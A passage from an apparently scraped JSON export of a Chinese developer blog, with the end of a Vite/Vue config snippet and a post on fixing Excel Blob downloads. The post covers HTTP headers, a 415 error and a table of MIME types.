class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport vue from \u0026#39;@vitejs/plugin-vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e// https://vitejs.dev/config/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [vue()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e base: \u0026#39;./\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/"},{"title":"关于前端Blob下载那点事","time":"2023-07-11T14:16:38Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近做一个项目,后端返回一个Excel表格给前端下载,前端应该使用Blob将文件保存并下载下来。可是前端这里试了半天,数据大小没问题,就是一直下不下来。后来解决了好几个问题之后才成功解决了这个下载问题。\u003c/p\u003e\u003ch2 id=\"问题1-请求头\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%981-%E8%AF%B7%E6%B1%82%E5%A4%B4\" class=\"headerlink\" title=\"问题1-请求头\"\u003e\u003c/a\u003e问题1-请求头\u003c/h2\u003e\u003cp\u003e查找相关资料后,发现似乎错误的请求头是引发这个问题的一个原因。随后就改了请求部分的代码,加上了请求头的配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;xxx\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样不仅下载的内容打不开,而且下载本身还报错了:\u003cstrong\u003eHTTP 415:Unsupported Media Type\u003c/strong\u003e。它的简介如下:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e415 Unsupported Media Type\u003c/code\u003e\u003c/strong\u003e 是一种 HTTP 协议的错误状态代码,表示服务器由于不支持其有效载荷的格式,从而拒绝接受客户端的请求。\u003c/p\u003e\u003cp\u003e格式问题的出现有可能源于客户端在 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type\"\u003e\u003ccode\u003eContent-Type\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding\"\u003e\u003ccode\u003eContent-Encoding\u003c/code\u003e\u003c/a\u003e 首部中指定的格式,也可能源于直接对负载数据进行检测的结果。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因此很明显,我应该是设置错了HTTP请求标头。于是查阅了HTTP请求标头的几个字段,发现我应该是搞反了\u003ccode\u003eContent-Type\u003c/code\u003e和\u003ccode\u003eAccept\u003c/code\u003e的意思。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eContent-Type\u003c/strong\u003e:自己发送给对方的内容的MIME类型\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eAccept\u003c/strong\u003e:自己能接受的内容的MIME类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e常见的MIME类型( \u003cstrong\u003eMultipurpose Internet Mail Extensions,媒体类型\u003c/strong\u003e)如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e扩展名\u003c/th\u003e\u003cth\u003e文档类型\u003c/th\u003e\u003cth\u003eMIME 类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.aac\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAAC audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/aac\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.abw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/AbiWord\"\u003eAbiWord\u003c/a\u003e document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-abiword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.arc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eArchive document (multiple files embedded)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-freearc\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.avi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAVI: Audio Video Interleave\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/x-msvideo\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.azw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAmazon Kindle eBook format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.amazon.ebook\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bin\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAny kind of binary data\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/octet-stream\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bmp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWindows OS/2 Bitmap Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/bmp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip2 archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eC-Shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-csh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.css\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eCascading Style Sheets (CSS)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/css\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eComma-separated values (CSV)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/csv\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.doc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/msword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.docx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.wordprocessingml.document\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.eot\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMS Embedded OpenType fonts\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-fontobject\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.epub\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eElectronic publication (EPUB)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/epub+zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.gif\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eGraphics Interchange Format (GIF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/gif\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.htm .html\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eHyperText Markup Language (HTML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/html\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ico\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eIcon format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/vnd.microsoft.icon\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ics\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eiCalendar format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/calendar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJava Archive (JAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/java-archive\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jpeg\u003c/code\u003e \u003ccode\u003e.jpg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJPEG images\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/jpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.js\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.json\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jsonld\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON-LD format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ld+json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mid\u003c/code\u003e \u003ccode\u003e.midi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMusical Instrument Digital Interface (MIDI)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/midi\u003c/code\u003e \u003ccode\u003eaudio/x-midi\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mjs\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript module\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mp3\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMP3 audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpeg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMPEG Video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpkg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eApple Installer Package\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.apple.installer+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument presentation document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ods\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument spreadsheet document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.spreadsheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument text document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.text\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.oga\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.otf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenType font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/otf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.png\u003c/code\u003e\u003c/td\u003e\u003ctd\u003ePortable Network Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/png\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pdf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAdobe \u003ca href=\"https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html\"\u003ePortable Document Format\u003c/a\u003e (PDF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/pdf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ppt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-powerpoint\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pptx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.presentationml.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRAR archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-rar-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rtf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRich Text Format (RTF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/rtf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.sh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBourne shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-sh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.svg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eScalable Vector Graphics (SVG)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/svg+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.swf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/SWF\"\u003eSmall web format\u003c/a\u003e (SWF) or Adobe Flash document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-shockwave-flash\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTape Archive (TAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-tar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tif .tiff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTagged Image File Format (TIFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/tiff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ttf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTrueType Font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/ttf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.txt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eText, (generally ASCII or ISO 8859-\u003cem\u003en\u003c/em\u003e)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/plain\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.vsd\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Visio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.visio\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.wav\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWaveform Audio Format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/wav\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.weba\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webm\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBP image\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/webp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xhtml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXHTML\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xhtml+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xls\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-excel\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xlsx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eXML\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xml\u003c/code\u003e 代码对普通用户来说不可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3) \u003ccode\u003etext/xml\u003c/code\u003e 